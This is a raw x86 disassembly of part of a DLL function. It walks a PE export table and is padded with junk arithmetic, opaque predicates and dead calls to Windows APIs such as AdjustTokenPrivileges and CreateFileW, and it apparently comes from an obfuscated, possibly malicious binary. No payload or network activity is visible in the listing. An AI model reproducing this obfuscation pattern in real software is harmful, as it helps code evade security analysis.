mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jge 0x10035088
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xc3c], 0x2236432a
jmp 0x1003505f
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xc3c], 0
jmp 0x100350b6
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc3c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xc3c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc3c], 1
jg 0x100350e7
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xc3c]
lea ecx, [ebp - 0xd1c]
call fcn.100208d0
cmp dword [eax], 0
je 0x100350e5
jmp 0x100350e7
jmp 0x1003509b
mov byte [ebp - 0xea], 0
movzx eax, byte [ebp - 0xea]
test eax, eax
je 0x100350ff
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd1c]
call fcn.100208b4
mov eax, dword [ebp - 0x18c]
cmp dword [eax], 0x4550
jne 0x1003862d
mov eax, dword [ebp - 0x18c]
cmp dword [eax + 0x74], 0
jbe 0x1003862d
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18c]
cmp dword [ecx + eax + 0x78], 0
je 0x1003862d
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0xfa0], 0xffffffff
push 4
lea ecx, [ebp - 0xecc]
call fcn.10020852
mov dword [ebp - 4], 0x15
push 4
lea ecx, [ebp - 0xcbc]
call fcn.10020852
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x74], 0
jmp 0x1003518f
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x100351ab
push dword [ebp - 0x74]
lea ecx, [ebp - 0xecc]
call fcn.100208d0
mov dword [eax], 6
jmp 0x10035188
mov dword [ebp - 0x74], 0
jmp 0x100351bb
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x100351d7
push dword [ebp - 0x74]
lea ecx, [ebp - 0xcbc]
call fcn.100208d0
mov dword [eax], 0x5c9e53e5
jmp 0x100351b4
mov byte [ebp - 0x12a], 0
movzx eax, byte [ebp - 0x12a]
test eax, eax
je 0x100351fd
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0xcbc]
call fcn.100208d0
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x470]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x470]
mov dword [ecx], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xcbc]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xecc]
call fcn.100208b4
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x14c]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa5c], 0x23ed15de
mov dword [ebp - 0xd84], 0xd00585b
mov dword [ebp - 0xf78], 0xfffffff8
mov dword [ebp - 0xf5c], 1
mov dword [ebp - 0x4b8], 1
mov dword [ebp - 0xa64], 0xd9b4e94f
mov dword [ebp - 0xf64], 1
mov dword [ebp - 0xd90], 0xb77278fa
mov dword [ebp - 0xaec], 0xce2949f4
push 4
lea ecx, [ebp - 0xb28]
call fcn.10020852
mov dword [ebp - 4], 0x17
mov dword [ebp - 0xb7c], 0xffffffff
mov dword [ebp - 0x374], 0xfffe
mov dword [ebp - 0x4a8], 6
mov dword [ebp - 0x2bc], 0
jmp 0x10035300
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 4
jge 0x10035322
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0xb28]
call fcn.100208d0
mov dword [eax], 0x3f23e93d
jmp 0x100352f3
cmp dword [ebp - 0xa5c], 0
jne 0x10035343
mov eax, dword [ebp - 0x374]
dec eax
mov dword [ebp - 0x374], eax
jne 0x10035343
and dword [ebp - 0x498], 0
jmp 0x1003534d
mov dword [ebp - 0x498], 1
mov esi, dword [ebp - 0x4b8]
push 0
lea ecx, [ebp - 0xb28]
call fcn.100208d0
mov ecx, 0x56fd
sub ecx, dword [eax]
cmp ecx, esi
jle 0x10035377
mov dword [ebp - 0x478], 1
jmp 0x1003537e
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0xaec]
cmp dword [ebp - 0x478], eax
jge 0x10035398
mov dword [ebp - 0x480], 1
jmp 0x1003539f
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0xa64]
add eax, dword [ebp - 0x480]
cmp dword [ebp - 0xb7c], eax
jne 0x100353bf
mov dword [ebp - 0x488], 1
jmp 0x100353c6
and dword [ebp - 0x488], 0
mov esi, dword [ebp - 0x488]
neg esi
push 0
lea ecx, [ebp - 0xb28]
call fcn.100208d0
cmp esi, dword [eax]
je 0x100353eb
mov dword [ebp - 0x490], 1
jmp 0x100353f2
and dword [ebp - 0x490], 0
imul eax, dword [ebp - 0x490], 0x28c7
cmp dword [ebp - 0x498], eax
jne 0x10035410
mov dword [ebp - 0x4a0], 1
jmp 0x10035417
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a8]
cmp dword [ebp - 0x4a0], eax
je 0x10035437
cmp dword [ebp - 0x4a8], 0
jne 0x10035437
and dword [ebp - 0x4b0], 0
jmp 0x10035441
mov dword [ebp - 0x4b0], 1
mov esi, dword [ebp - 0x4b0]
sub esi, dword [ebp - 0x4b8]
push 0
lea ecx, [ebp - 0xb28]
call fcn.100208d0
mov dword [eax], esi
mov byte [ebp - 0xec], 0
movzx eax, byte [ebp - 0xec]
test eax, eax
je 0x1003547e
push 0x2428
push 0x8b7
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb28]
call fcn.100208b4
mov eax, 0xffff
mov word [ebp - 0x88], ax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x2c4], 0x9d012742
mov dword [ebp - 0x34c], 0xffff
mov dword [ebp - 0x240], 1
mov dword [ebp - 0xa74], 0x9d72faf7
mov dword [ebp - 0x70], 0
jmp 0x100354d8
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x100354ee
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xc1c], 0xfffffff8
jmp 0x100354d1
mov dword [ebp - 0x70], 0
jmp 0x100354fe
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x10035514
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xd80], 0x14227f44
jmp 0x100354f7
mov dword [ebp - 0x40], 0
jmp 0x10035524
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 5
jl 0x10035bbe
mov dword [ebp - 0xbc], 0xfbef
mov dword [ebp - 0x60], 0x74a71a6e
mov dword [ebp - 0x9c], 0x11b55e9
mov dword [ebp - 0x39c], 0x92570183
push 4
lea ecx, [ebp - 0xbd0]
call fcn.10020852
mov dword [ebp - 4], 0x18
push 1
lea ecx, [ebp - 0x97c]
call fcn.10020852
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x37c], 0x6c2cf376
mov dword [ebp - 0x7c], 0
jmp 0x10035592
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 4
jge 0x100355ae
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xbd0]
call fcn.100208d0
mov dword [eax], 8
jmp 0x1003558b
mov dword [ebp - 0x7c], 0
jmp 0x100355be
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x100355da
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x97c]
call fcn.100208d0
mov dword [eax], 0xc4f4
jmp 0x100355b7
cmp dword [ebp - 0x40], 0
jne 0x10035770
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xea0], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xd98], eax
cmp dword [ebp - 0x60], 0x467bb1a8
jle 0x1003560b
mov dword [ebp - 0x4c0], 1
jmp 0x10035612
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x40]
jg 0x1003562f
mov dword [ebp - 0x4c8], 1
jmp 0x10035636
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x4c8], eax
je 0x10035656
cmp dword [ebp - 0x9c], 0
jne 0x10035656
and dword [ebp - 0x4d0], 0
jmp 0x10035660
mov dword [ebp - 0x4d0], 1
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x40]
jg 0x1003567a
mov dword [ebp - 0x4d8], 1
jmp 0x10035681
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x4d8], eax
jge 0x1003569b
mov dword [ebp - 0x4e0], 1
jmp 0x100356a2
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x100356c9
mov eax, 0x57cf7a02
test eax, eax
jne 0x100356c9
and dword [ebp - 0x4e8], 0
jmp 0x100356d3
mov dword [ebp - 0x4e8], 1
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xc1c], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0xf34], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x40]
jg 0x10035735
cmp dword [ebp - 0x9c], 0
je 0x10035735
mov dword [ebp - 0x4f0], 1
jmp 0x1003573c
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x40]
add eax, 0xf8b8
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x4f0]
je 0x10035767
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc1c], 0
jne 0x10035770
and dword [ebp - 0x344], 0
jmp 0x1003577a
mov dword [ebp - 0x344], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x344]
mov dword [ebp + eax - 0xd80], ecx
cmp dword [ebp - 0x344], 0
jne 0x1003579a
cmp dword [ebp - 0x40], 0
mov eax, 0x962600bf
test eax, eax
je 0x100357be
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc1c], 0
je 0x100357be
mov dword [ebp - 0xa6c], 1
jmp 0x100357c5
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xeb0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc1c]
mov dword [ebp - 0x39c], eax
mov esi, dword [ebp - 0x39c]
push 0
lea ecx, [ebp - 0xbd0]
call fcn.100208d0
cmp esi, dword [eax]
jle 0x1003580f
mov dword [ebp - 0x4f8], 1
jmp 0x10035816
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x4f8]
jle 0x1003582d
mov dword [ebp - 0x500], 1
jmp 0x10035834
and dword [ebp - 0x500], 0
cmp dword [ebp - 0x500], 0xffffffff
jne 0x10035873
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1003586e
push 0
push 0
push 0x1bc5
push 0
push 0x18bf
push 0
push 0
push 0x257f
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x10035948
mov dword [ebp - 0x508], 0x37e8f884
mov dword [ebp - 0xda8], 0x3f116e8c
mov eax, dword [ebp - 0x508]
dec eax
mov dword [ebp - 0x508], eax
mov dword [ebp - 0xbc], 0
jmp 0x100358ad
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jg 0x10035948
mov dword [ebp - 0x60], 3
jmp 0x100358ca
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x1003592b
mov dword [ebp - 0x28c], 0
jmp 0x100358e9
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 1
jge 0x10035905
mov eax, dword [ebp - 0x28c]
mov dword [ebp + eax*4 - 0xfa4], 0xbe40e816
jmp 0x100358dc
push 0
lea ecx, [ebp - 0x97c]
call fcn.100208d0
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x510]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x510]
mov dword [ecx], eax
jmp 0x100358c3
push dword [ebp - 0xbc]
lea ecx, [ebp - 0xbd0]
call fcn.100208d0
cmp dword [eax], 0
je 0x10035943
jmp 0x10035948
jmp 0x100358a0
mov dword [ebp - 0x548], 0x8c6
mov dword [ebp - 0xb6c], 0x10008768
cmp dword [ebp - 0x548], 0x8d4
jle 0x100359e0
and dword [ebp - 0x2e4], 0
jmp 0x1003597e
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x52a8
jge 0x100359e0
and dword [ebp - 0x294], 0
jmp 0x100359a0
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x26b2
jge 0x100359de
mov eax, dword [ebp - 0x2e4]
imul eax, dword [ebp - 0x294]
cdq
mov dword [ebp - 0xa08], eax
mov dword [ebp - 0xa04], edx
push dword [ebp - 0xa04]
push dword [ebp - 0xa08]
mov ecx, 0x106105b8
call fcn.1002073d
jmp 0x10035993
jmp 0x10035971
mov esi, dword [ebp - 0x34c]
push 0
lea ecx, [ebp - 0x97c]
call fcn.100208d0
cmp dword [eax], esi
je 0x10035a03
mov dword [ebp - 0x520], 1
jmp 0x10035a0a
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x2c4]
jne 0x10035a24
mov dword [ebp - 0x518], 1
jmp 0x10035a2b
and dword [ebp - 0x518], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd80]
cmp eax, dword [ebp - 0x518]
je 0x10035a4d
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd80], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc1c], 0x5ab60a95
push 0
lea ecx, [ebp - 0x97c]
call fcn.100208d0
mov eax, dword [eax]
inc eax
cmp eax, 0x5ab60a95
je 0x10035a80
mov dword [ebp - 0xaf4], 1
jmp 0x10035a87
and dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0xdb0], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x37c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x37c]
cmp ecx, dword [ebp + eax - 0xd80]
jne 0x10035ac0
mov dword [ebp - 0x528], 1
jmp 0x10035ac7
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x520]
cmp eax, dword [ebp - 0x528]
jl 0x10035ae1
mov dword [ebp - 0x530], 1
jmp 0x10035ae8
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
sub eax, dword [ebp - 0x240]
je 0x10035b09
push 4
pop eax
test eax, eax
je 0x10035b09
mov dword [ebp - 0x538], 1
jmp 0x10035b10
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0xa74], eax
mov esi, dword [ebp - 0x9c]
push 0
lea ecx, [ebp - 0x97c]
call fcn.100208d0
cmp dword [eax], esi
jne 0x10035b3f
mov dword [ebp - 0x540], 1
jmp 0x10035b46
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x548], 0x4ee
jge 0x10035b6f
mov edx, dword [ebp - 0xb6c]
mov ecx, 0x106105b8
call fcn.10023d18
jmp 0x10035b8b
mov dword [ebp - 4], 0x19
jmp 0x10035b9b
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x97c]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbd0]
call fcn.100208b4
jmp 0x1003551d
or dword [ebp - 0x13c], 0xffffffff
mov dword [ebp - 0xec0], 0xfffffffc
mov dword [ebp - 0xdb8], 0xfffffffb
mov dword [ebp - 0xf3c], 1
mov dword [ebp - 0xdc0], 0x5809
mov dword [ebp - 0x550], 0x2d3d4782
mov dword [ebp - 0x248], 0
jmp 0x10035c10
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jge 0x10035c2c
mov eax, dword [ebp - 0x248]
mov dword [ebp + eax*4 - 0xed0], 0xfffffff6
jmp 0x10035c03
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10035c49
push 0x16ed
call dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
cmp dword [ebp + 0x10], 0
jbe 0x10035e04
mov dword [ebp - 0xf88], 1
mov dword [ebp - 0xf84], 1
mov dword [ebp - 0xf80], 1
mov dword [ebp - 0xf7c], 1
mov byte [ebp - 0xf2], 0
movzx eax, byte [ebp - 0xf2]
test eax, eax
je 0x10035cae
push 0
push 0x1571
push 0
push 0x2154
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
mov byte [ebp - 0x120], 0
movzx eax, byte [ebp - 0x120]
test eax, eax
je 0x10035cd2
push 0x1ca8
push 0
push 0x229f
call dword [sym.imp.USER32.dll_GetClassNameW]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x10035dff
mov dword [ebp - 0xc7c], 0xfffffff9
mov dword [ebp - 0xc78], 0xfffffff9
mov dword [ebp - 0xc74], 0xfffffff9
mov dword [ebp - 0xc70], 0xfffffff9
lea ecx, [ebp - 0x391]
call fcn.100208df
push eax
lea eax, [ebp - 0xc6c]
push eax
lea eax, [ebp - 0xc7c]
push eax
lea ecx, [ebp - 0x104c]
call fcn.100208e2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xbe8]
call fcn.1002088e
mov dword [ebp - 4], 0x1c
push 1
lea ecx, [ebp - 0xbe8]
call fcn.100208d0
mov dword [eax], 0xffffffe2
jmp 0x10035d81
push 1
lea ecx, [ebp - 0xbe8]
call fcn.100208d0
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xbe8]
call fcn.100208d0
cmp dword [eax], 0x12
jg 0x10035de5
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x10035db7
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x10035de0
push 0
push 0x747
push 0xcb8
push 0x2259
call dword [sym.imp.GDI32.dll_SetPixel]
jmp 0x10035d5d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbe8]
call fcn.100208b4
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x88], ax
jmp 0x10037847
mov dword [ebp - 0x590], 0x20f89b5
mov dword [ebp - 0x8c], 0x32ffab8c
mov dword [ebp - 0xb0], 0x3152c58f
mov dword [ebp - 0x250], 0x7c8748af
push 2
lea ecx, [ebp - 0x3b8]
call fcn.10020852
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xa8], 0xfffffff7
push 1
lea ecx, [ebp - 0x3c4]
call fcn.10020852
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x84], 0
jmp 0x10035e74
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x10035e96
push dword [ebp - 0x84]
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
mov dword [eax], 1
jmp 0x10035e67
mov dword [ebp - 0x84], 0
jmp 0x10035eaf
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x10035ed1
push dword [ebp - 0x84]
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
mov dword [eax], 0x2c51978e
jmp 0x10035ea2
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xdc8], eax
cmp dword [ebp - 0xb0], 0
jne 0x10035f46
push 1
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
cmp dword [eax], 0
jne 0x10035f04
mov dword [ebp - 0x560], 1
jmp 0x10035f0b
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x560]
sub eax, dword [ebp - 0x590]
jne 0x10035f46
push 0
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
cmp dword [eax], 0
jne 0x10035f46
push 1
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
cmp dword [eax], 0
jne 0x10035f46
and dword [ebp - 0x568], 0
jmp 0x10035f50
mov dword [ebp - 0x568], 1
push 0
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
mov ecx, dword [ebp - 0x568]
cmp ecx, dword [eax]
jle 0x10035f73
mov dword [ebp - 0x570], 1
jmp 0x10035f7a
and dword [ebp - 0x570], 0
cmp dword [ebp - 0x570], 0x7d17
jg 0x10035f92
mov dword [ebp - 0x578], 1
jmp 0x10035f99
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0x7a68fab8
jl 0x10035fb1
mov dword [ebp - 0xa7c], 1
jmp 0x10035fb8
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xee4], eax
push 0
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
mov esi, eax
push 0
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x10035ff2
mov dword [ebp - 0x580], 1
jmp 0x10035ff9
and dword [ebp - 0x580], 0
push 0
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
mov ecx, dword [ebp - 0x580]
sub ecx, dword [eax]
cmp dword [ebp - 0x8c], ecx
jl 0x10036022
mov dword [ebp - 0x588], 1
jmp 0x10036029
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0xa8]
add eax, dword [ebp - 0x588]
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x8c], 0
jmp 0x10036061
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jg 0x10036244
mov dword [ebp - 0x2f8], 0xb04ce9d0
mov dword [ebp - 0xb0], 0
jmp 0x10036091
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jg 0x10036222
mov dword [ebp - 0x5b8], 0xffffffff
mov dword [ebp - 0xa8], 0
jmp 0x100360c1
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x100360e0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
or dword [eax], 0xffffffff
jmp 0x100360b4
mov dword [ebp - 0x250], 0
jmp 0x100360f9
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jl 0x1003621d
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
cmp dword [eax], 0
je 0x1003612f
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x1003612f
mov dword [ebp - 0x5a0], 1
jmp 0x10036136
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0xdd0], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0xee0], eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
mov esi, dword [ebp - 0x5b8]
mov edi, dword [ebp - 0x2f8]
push 0
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
imul edi, dword [eax]
cmp edi, esi
jle 0x1003618b
mov dword [ebp - 0x598], 1
jmp 0x10036192
and dword [ebp - 0x598], 0
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
mov eax, dword [eax]
cmp eax, dword [ebp - 0x598]
jge 0x100361b9
mov dword [ebp - 0x5a8], 1
jmp 0x100361c0
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x5a0]
sub eax, dword [ebp - 0x5a8]
cmp eax, 0x1a73
jle 0x100361df
mov dword [ebp - 0x5b0], 1
jmp 0x100361e6
and dword [ebp - 0x5b0], 0
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x3c4]
call fcn.100208d0
mov ecx, dword [ebp - 0x5b0]
mov dword [eax], ecx
mov esi, dword [ebp - 0x5b8]
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x3b8]
call fcn.100208d0
mov dword [eax], esi
jmp 0x100360ec
jmp 0x10036084
mov byte [ebp - 0xf0], 0
movzx eax, byte [ebp - 0xf0]
test eax, eax
je 0x1003623f
push 0xd9f
call dword [sym.imp.USER32.dll_GetSysColor]
jmp 0x10036054
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x3c4]
call fcn.100208b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3b8]
call fcn.100208b4
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x150], 0x20f746e3
mov dword [ebp - 0x628], 0x4872
mov dword [ebp - 0x300], 0xffffffff
mov dword [ebp - 0xb98], 1
mov dword [ebp - 0x258], 0xdc705be7
mov dword [ebp - 0xafc], 0x9dda3143
mov dword [ebp - 0xdd8], 0xe46a6f4d
mov dword [ebp - 0x620], 0xfffffffd
mov dword [ebp - 0x1e8], 0
jmp 0x100362d2
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 2
jge 0x100362ee
mov eax, dword [ebp - 0x1e8]
mov dword [ebp + eax*4 - 0xe64], 8
jmp 0x100362c5
xor eax, eax
inc eax
je 0x100363af
push 4
pop eax
test eax, eax
je 0x1003634c
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xee8], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xde0], eax
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
jl 0x10036324
mov dword [ebp - 0x5c0], 1
jmp 0x1003632b
and dword [ebp - 0x5c0], 0
imul eax, dword [ebp - 0x5c0], 0xd0e
cmp eax, 0xfffffffb
jg 0x1003634c
cmp dword [ebp - 0x50], 0
je 0x1003634c
mov dword [ebp - 0x5c8], 1
jmp 0x10036353
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x5c8]
cmp eax, dword [ebp - 0x50]
jl 0x1003636e
mov dword [ebp - 0x5d0], 1
jmp 0x10036375
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x79cc099a
jl 0x1003639d
mov dword [ebp - 0x5d8], 1
jmp 0x100363a4
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5d8]
sub eax, dword [ebp - 0x50]
jne 0x100363ca
cmp dword [ebp - 0x150], 0
jne 0x100363ca
cmp dword [ebp - 0x628], 0
jne 0x100363ca
and dword [ebp - 0x5e0], 0
jmp 0x100363d4
mov dword [ebp - 0x5e0], 1
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xef0], eax
cmp dword [ebp - 0x150], 0
je 0x1003643b
cmp dword [ebp - 0x150], 0
je 0x100363ff
cmp dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0xafc]
jle 0x10036416
mov dword [ebp - 0x5e8], 1
jmp 0x1003641d
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x5e8]
add eax, 8
je 0x1003643b
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1003643b
mov dword [ebp - 0xa84], 1
jmp 0x10036442
and dword [ebp - 0xa84], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xe64], 1
xor eax, eax
inc eax
cmp eax, 0x9fc22f74
jbe 0x10036469
mov dword [ebp - 0x5f0], 1
jmp 0x10036470
